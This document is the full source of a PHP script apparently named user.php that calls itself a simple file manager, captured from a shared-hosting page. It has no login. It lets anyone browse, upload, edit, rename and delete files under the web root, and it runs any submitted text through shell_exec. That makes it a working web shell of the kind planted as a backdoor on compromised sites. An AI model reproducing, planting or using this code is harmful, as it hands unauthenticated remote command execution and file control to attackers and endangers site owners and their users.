Edit File: user.php
<?php // Simple PHP File Manager with navigation, upload, edit, rename, delete, create new files/folders, and unrestricted command input // ----------- CONFIG ------------- $rootPath = realpath($_SERVER['DOCUMENT_ROOT']); // Server directory where this script is located // ----------- Helpers ------------- // Sanitize and validate path to prevent directory traversal outside root function sanitize_path($base, $path) { $realBase = realpath($base); $realUserPath = realpath($path); if ($realUserPath === false || strpos($realUserPath, $realBase) !== 0) { return false; } return $realUserPath; } // Get relative path from root function getRelativePath($from, $to) { $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $fromParts = explode('/', rtrim($from, '/')); $toParts = explode('/', rtrim($to, '/')); while(count($fromParts) && count($toParts) && ($fromParts[0] == $toParts[0])) { array_shift($fromParts); array_shift($toParts); } return str_repeat('../', count($fromParts)) . implode('/', $toParts); } // Build breadcrumbs HTML function build_breadcrumbs($root, $current) { $root = rtrim($root, '/'); $current = rtrim($current, '/'); $breadcrumbs = []; $breadcrumbs[] = ['name' => basename($root), 'path' => $root]; $relPath = substr($current, strlen($root)); if ($relPath === false) $relPath = ''; $segments = explode('/', trim($relPath, '/')); $accum = $root; foreach ($segments as $segment) { $accum .= '/' . $segment; $breadcrumbs[] = ['name' => $segment, 'path' => $accum]; } $html = '<nav style="margin-bottom:1em;">'; foreach ($breadcrumbs as $idx => $bc) { $name = htmlspecialchars($bc['name']); $path = rawurlencode(substr($bc['path'], strlen($root) + 1)); if ($idx < count($breadcrumbs) -1) { $html .= "<a href='?path=$path'>$name</a> / "; } else { $html .= "<strong>$name</strong>"; } } $html .= '</nav>'; return $html; } // ----------- Main Logic ------------- // Get current path from GET param or default to root $requestedPath = $_GET['path'] ?? ''; $currentPath = $rootPath; if ($requestedPath !== '') { $decodedPath = rawurldecode($requestedPath); $potentialPath = $rootPath . '/' . $decodedPath; $validatedPath = sanitize_path($rootPath, $potentialPath); if ($validatedPath !== false) { $currentPath = $validatedPath; } else { die("Invalid path."); } } // Handle File Upload $uploadMsg = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['upload'])) { if (!empty($_FILES['file']) && $_FILES['file']['error'] === 0) { $uploadName = basename($_FILES['file']['name']); $targetFile = $currentPath . '/' . $uploadName; if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $uploadMsg = "File uploaded successfully."; } else { $uploadMsg = "Failed to upload file."; } } else { $uploadMsg = "No file uploaded or error."; } } // Handle Create New File or Folder $newMsg = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create'])) { $type = $_POST['type'] ?? ''; $name = trim($_POST['name'] ?? ''); if ($name === '') { $newMsg = "Name cannot be empty."; } else { $targetPath = $currentPath . '/' . $name; if (file_exists($targetPath)) { $newMsg = "File or folder already exists."; } else { if ($type === 'file') { if (file_put_contents($targetPath, '') !== false) { $newMsg = "File created successfully."; } else { $newMsg = "Failed to create file."; } } elseif ($type === 'folder') { if (mkdir($targetPath)) { $newMsg = "Folder created successfully."; } else { $newMsg = "Failed to create folder."; } } else { $newMsg = "Invalid type."; } } } } // Handle Delete if (isset($_GET['delete'])) { $delRelPath = rawurldecode($_GET['delete']); $delAbsPath = sanitize_path($rootPath, $rootPath . '/' . $delRelPath); if ($delAbsPath !== false && $delAbsPath !== $rootPath) { if (is_dir($delAbsPath)) { // delete folder recursively function rrmdir($dir) { if (!is_dir($dir)) return; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . '/' . $item; if (is_dir($path)) rrmdir($path); else unlink($path); } rmdir($dir); } rrmdir($delAbsPath); header("Location: ?path=" . rawurlencode(dirname($delRelPath))); exit; } else { unlink($delAbsPath); header("Location: ?path=" . rawurlencode(dirname($delRelPath))); exit; } } } // Handle Rename $renameMsg = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename'])) { $oldRelPath = $_POST['old_path'] ?? ''; $newName = trim($_POST['new_name'] ?? ''); if ($newName === '') { $renameMsg = "New name cannot be empty."; } else { $oldAbsPath = sanitize_path($rootPath, $rootPath . '/' . rawurldecode($oldRelPath)); $newAbsPath = dirname($oldAbsPath) . '/' . $newName; if ($oldAbsPath === false) { $renameMsg = "Invalid path."; } elseif (file_exists($newAbsPath)) { $renameMsg = "Target name already exists."; } else { if (rename($oldAbsPath, $newAbsPath)) { header("Location: ?path=" . rawurlencode(dirname($oldRelPath))); exit; } else { $renameMsg = "Rename failed."; } } } } // Handle Edit File (show + save) $editFilePath = null; $editContent = ''; $editMsg = ''; if (isset($_GET['edit'])) { $editRelPath = rawurldecode($_GET['edit']); $editAbsPath = sanitize_path($rootPath, $rootPath . '/' . $editRelPath); if ($editAbsPath === false || !is_file($editAbsPath)) { die("Invalid file path."); } $editFilePath = $editRelPath; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_edit'])) { $content = $_POST['file_content'] ?? ''; if (file_put_contents($editAbsPath, $content) !== false) { $editMsg = "File saved successfully."; } else { $editMsg = "Failed to save file."; } } $editContent = file_get_contents($editAbsPath); } // Handle Command input (no restriction) $command_output = ''; if (isset($_POST['command'])) { $cmd = trim($_POST['command']); if ($cmd !== '') { $command_output = shell_exec($cmd . ' 2>&1'); } } // ----------- HTML & Display ------------- ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>PHP File Manager</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } nav a { text-decoration: none; color: blue; } nav a:hover { text-decoration: underline; } table { border-collapse: collapse; width: 100%; margin-top: 1em;} th, td { border: 1px solid #ccc; padding: 8px; } th { background: #eee; } .folder { font-weight: bold; color: #0066cc; cursor: pointer; } .actions a { margin-right: 10px; } form { margin-top: 1em; } textarea { width: 100%; height: 400px; font-family: monospace; } input[type=text] { width: 300px; padding: 4px; } input[type=submit], button { padding: 6px 12px; } .message { margin-top: 1em; padding: 8px; background: #e0ffe0; border: 1px solid #0a0; } .error { background: #ffe0e0; border: 1px solid #a00; } </style> </head> <body> <h2>PHP File Manager</h2> <!-- Breadcrumbs --> <?= build_breadcrumbs($rootPath, $currentPath) ?> <!-- Messages --> <?php if ($uploadMsg): ?><div class="message"><?=htmlspecialchars($uploadMsg)?></div><?php endif; ?> <?php if ($newMsg): ?><div class="message"><?=htmlspecialchars($newMsg)?></div><?php endif; ?> <?php if ($renameMsg): ?><div class="message error"><?=htmlspecialchars($renameMsg)?></div><?php endif; ?> <?php if ($editMsg): ?><div class="message"><?=htmlspecialchars($editMsg)?></div><?php endif; ?> <?php if ($editFilePath !== null): ?> <!-- Edit File --> <h3>Editing file: <?=htmlspecialchars($editFilePath)?></h3> <form method="post" action="?path=<?=rawurlencode(dirname($editFilePath))?>&edit=<?=rawurlencode(basename($editFilePath))?>"> <textarea name="file_content"><?=htmlspecialchars($editContent)?></textarea><br> <input type="submit" name="save_edit" value="Save" /> <a href="?path=<?=rawurlencode(dirname($editFilePath))?>">Cancel</a> </form> <?php else: ?> <!-- Directory Listing --> <table> <thead> <tr> <th>Name</th><th>Type</th><th>Size</th><th>Last Modified</th><th>Actions</th> </tr> </thead> <tbody> <?php // Show parent directory link if not root if ($currentPath !== $rootPath): $parentRel = rawurlencode(dirname($requestedPath)); ?> <tr> <td colspan="5"><a href="?path=<?=$parentRel?>">.. (Parent Directory)</a></td> </tr> <?php endif; ?> <?php $items = scandir($currentPath); foreach ($items as $item): if ($item === '.' || $item === '..') continue; $absItem = $currentPath . '/' . $item; $relItem = ($requestedPath === '') ? $item : $requestedPath . '/' . $item; $relItemEnc = rawurlencode($relItem); $isDir = is_dir($absItem); $type = $isDir ? 'Folder' : 'File'; $size = $isDir ? '-' : filesize($absItem); $mod = date('Y-m-d H:i:s', filemtime($absItem)); ?> <tr> <td> <?php if ($isDir): ?> <a href="?path=<?=$relItemEnc?>" class="folder"><?=htmlspecialchars($item)?></a> <?php else: ?> <?=htmlspecialchars($item)?> <?php endif; ?> </td> <td><?=$type?></td> <td><?=$isDir ? '-' : number_format($size) . ' bytes'?></td> <td><?=$mod?></td> <td class="actions"> <?php if (!$isDir): ?> <a href="?path=<?=rawurlencode(dirname($relItem))?>&edit=<?=$relItemEnc?>">Edit</a> <?php endif; ?> <a href="?path=<?=rawurlencode(dirname($relItem))?>&delete=<?=$relItemEnc?>" onclick="return confirm('Delete <?=htmlspecialchars($item)?>?');">Delete</a> <a href="#" onclick="showRename('<?=$relItemEnc?>','<?=htmlspecialchars(addslashes($item))?>');return false;">Rename</a> </td> </tr> <?php endforeach; ?> </tbody> </table> <!-- Rename form (hidden by default) --> <div id="renameForm" style="display:none; margin-top: 1em; padding:10px; border:1px solid #ccc; max-width:400px;"> <h3>Rename</h3> <form method="post" onsubmit="return submitRename();"> <input type="hidden" name="old_path" id="rename_old_path" /> <input type="text" name="new_name" id="rename_new_name" required /> <input type="submit" name="rename" value="Rename" /> <button type="button" onclick="hideRename()">Cancel</button> </form> </div> <!-- Upload form --> <h3>Upload File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" required /> <input type="submit" name="upload" value="Upload" /> </form> <!-- Create new file/folder --> <h3>Create New</h3> <form method="post" onsubmit="return validateCreate();"> <input type="text" name="name" id="create_name" placeholder="File or Folder name" required /> <select name="type" id="create_type"> <option value="file">File</option> <option value="folder">Folder</option> </select> <input type="submit" name="create" value="Create" /> </form> <!-- Command input --> <h3>Run Command</h3> <form method="post"> <input type="text" name="command" placeholder="Enter shell command" style="width:300px;" /> <input type="submit" value="Run" /> </form> <?php if ($command_output !== ''): ?> <pre style="background:#eee; border:1px solid #ccc; padding:10px; margin-top:1em;"><?=htmlspecialchars($command_output)?></pre> <?php endif; ?> <?php endif; ?> <script> function showRename(oldPath, oldName) { document.getElementById('renameForm').style.display = 'block'; document.getElementById('rename_old_path').value = oldPath; document.getElementById('rename_new_name').value = oldName; document.getElementById('rename_new_name').focus(); } function hideRename() { document.getElementById('renameForm').style.display = 'none'; } function submitRename() { const newName = document.getElementById('rename_new_name').value.trim(); if (newName === '') { alert('New name cannot be empty.'); return false; } return true; } function validateCreate() { const name = document.getElementById('create_name').value.trim(); if (name === '') { alert('Name cannot be empty.'); return false; } return true; } </script> </body> <script>'undefined'=== typeof _trfq || (window._trfq = []);'undefined'=== typeof _trfd && (window._trfd=[]),_trfd.push({'tccl.baseHost':'secureserver.net'},{'ap':'cpsh-oh'},{'server':'p3plzcpnl504587'},{'dcenter':'p3'},{'cp_id':'9866088'},{'cp_cache':''},{'cp_cl':'8'}) // Monitoring performance to make your website faster. If you want to opt-out, please contact web hosting support.</script><script src='https://img1.wsimg.com/traffic-assets/js/tccl.min.js'></script></html>